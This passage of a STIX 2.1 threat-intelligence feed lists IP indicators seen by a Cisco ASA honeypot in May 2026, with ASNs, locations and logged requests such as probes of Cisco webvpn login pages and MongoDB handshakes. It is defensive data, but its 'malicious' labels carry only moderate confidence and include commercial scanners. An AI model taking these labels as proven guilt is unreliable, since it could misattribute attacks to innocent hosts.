      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--e5b095c2-c04e-48ff-96c6-1191faf194e3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T12:20:05.000Z",
      "valid_until": "2026-06-11T12:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-10T11:48:08.145Z",
          "last_seen": "2026-05-10T11:48:08.145Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T12:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--531f46cf-4793-45a1-8cfd-686bc2cdf8cf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T12:20:05.000Z",
      "valid_until": "2026-06-11T12:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-10T11:48:10.538Z",
          "last_seen": "2026-05-10T11:48:10.538Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T12:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f882beef-9b4c-4b7b-8aa3-998b8426648b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.101.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T12:20:05.000Z",
      "valid_until": "2026-06-11T12:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 11,
          "first_seen": "2026-05-10T12:15:55.611Z",
          "last_seen": "2026-05-30T03:19:10.591Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T12:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--87910225-e211-43d6-8e0f-36badf0a456e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.143.162.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T12:20:05.000Z",
      "valid_until": "2026-06-11T12:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-10T11:48:40.944Z",
          "last_seen": "2026-05-10T11:48:43.947Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T12:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--57c50e01-0711-48a0-9236-921ac9cf673c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T12:20:05.000Z",
      "valid_until": "2026-06-11T12:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-10T11:50:18.383Z",
          "last_seen": "2026-05-10T11:50:18.383Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T12:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--dad0579f-d126-4f8a-8a77-3242ad547269",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T12:20:05.000Z",
      "valid_until": "2026-06-11T12:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-10T11:44:12.041Z",
          "last_seen": "2026-05-10T11:44:12.041Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-10T13:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9dd9fc44-909e-4f35-844b-d477a61983f6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.110.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T13:20:05.000Z",
      "valid_until": "2026-06-11T13:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-10T12:23:18.734Z",
          "last_seen": "2026-05-26T11:05:07.426Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SG; ASN 201002 (PebbleHost Ltd)",
      "id": "indicator--80c3f16d-da42-41dd-a5ef-3697d3dedbd5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.8.186.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T01:20:10.000Z",
      "valid_until": "2026-06-12T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1389,
          "first_seen": "2026-05-11T00:46:18.057Z",
          "last_seen": "2026-05-13T02:51:59.043Z",
          "country": "Singapore",
          "country_code": "SG",
          "asn": 201002,
          "as_org": "PebbleHost Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--84f5e365-ca81-4520-b886-fe31ec484498",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.80.189.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T01:20:10.000Z",
      "valid_until": "2026-06-12T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-11T00:58:13.589Z",
          "last_seen": "2026-05-11T00:58:13.589Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--deffc4e9-54f4-4fe3-837b-4cef1706c74b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '34.238.240.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T01:20:10.000Z",
      "valid_until": "2026-06-12T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-11T00:58:10.175Z",
          "last_seen": "2026-05-11T00:58:13.178Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--6e4d7490-61e9-4525-b5c1-8551b5a2cb1d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.226.226.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T01:20:10.000Z",
      "valid_until": "2026-06-12T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-11T00:57:11.384Z",
          "last_seen": "2026-05-11T00:57:11.384Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 10439 (CariNet, Inc.)",
      "id": "indicator--e2f58963-6201-4b51-9ed5-64e7e5170dc7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '71.6.134.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T03:20:10.000Z",
      "valid_until": "2026-06-12T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-11T02:43:34.117Z",
          "last_seen": "2026-05-11T02:45:04.318Z",
          "country": "United States",
          "country_code": "US",
          "asn": 10439,
          "as_org": "CariNet, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T07:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /sse HTTP/1.1\" 404 - geo: PT; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--93a1c5f3-25f3-4a04-a665-53579fc27577",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.180.141.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T07:20:04.000Z",
      "valid_until": "2026-06-12T07:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-11T06:30:41.171Z",
          "last_seen": "2026-05-11T06:30:41.765Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /sse HTTP/1.1\" 404 -",
            "\"POST /mcp HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T07:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: PT; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--f475f7e8-ff3b-41ad-a913-7a6d7fb0ba1b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.180.141.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T07:20:04.000Z",
      "valid_until": "2026-06-12T07:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 4,
          "first_seen": "2026-05-11T06:30:08.926Z",
          "last_seen": "2026-05-11T06:30:46.220Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: code 400 geo: AU; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--0ee0ba5f-8056-49b8-8670-62cef867d5d3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '170.64.182.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T09:20:10.000Z",
      "valid_until": "2026-06-12T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 5,
          "first_seen": "2026-05-11T08:33:18.522Z",
          "last_seen": "2026-05-11T08:33:31.818Z",
          "country": "Australia",
          "country_code": "AU",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "code 400",
            "\"4\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u00dd\u0007\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u001f\u0000\u0000\u0000\u0010hello\u0000\u0001\u0000\u0000\u0000\u0002$db\u0000\u0006\u0000\u0000\u0000admin\u0000\u0000\" 400 -",
            "\":\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u00d4\u0007\u0000\u0000\u0000\u0000\u0000\u0000admin.$cmd\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0013\u0000\u0000\u0000\u0010isMaster\u0000\u0001\u0000\u0000\u0000\u0000\" 400 -",
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--47d26292-5e83-47a3-b9b0-15a0991a4ba9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T09:20:10.000Z",
      "valid_until": "2026-06-12T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-11T09:06:52.909Z",
          "last_seen": "2026-05-11T09:07:43.705Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--eda17544-5234-4869-b2bc-7da2930e44f7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T10:20:10.000Z",
      "valid_until": "2026-06-12T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-11T09:30:52.816Z",
          "last_seen": "2026-05-24T02:59:04.118Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 17243 (Byte Node LLC)",
      "id": "indicator--3f423346-4d52-49ec-b1d4-d5a0f1d0152d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.159.216.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T10:20:10.000Z",
      "valid_until": "2026-06-12T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-11T09:47:23.692Z",
          "last_seen": "2026-05-22T10:40:18.186Z",
          "country": "United States",
          "country_code": "US",
          "asn": 17243,
          "as_org": "Byte Node LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--687cdb28-4a1c-4a74-8574-2ddc8c78b3e4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.74.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T10:20:10.000Z",
      "valid_until": "2026-06-12T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-11T09:29:05.448Z",
          "last_seen": "2026-05-28T01:12:44.631Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 207990 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--939dc574-d928-4717-a605-df99a2871e3e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T11:20:10.000Z",
      "valid_until": "2026-06-12T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-11T10:40:01.624Z",
          "last_seen": "2026-05-27T09:44:35.922Z",
          "country": "United States",
          "country_code": "US",
          "asn": 207990,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-11T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--bc29f714-217d-4ad5-a97e-ab12bef61f6d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.70.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T11:20:10.000Z",
      "valid_until": "2026-06-12T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-11T10:20:42.825Z",
          "last_seen": "2026-05-11T10:20:51.292Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
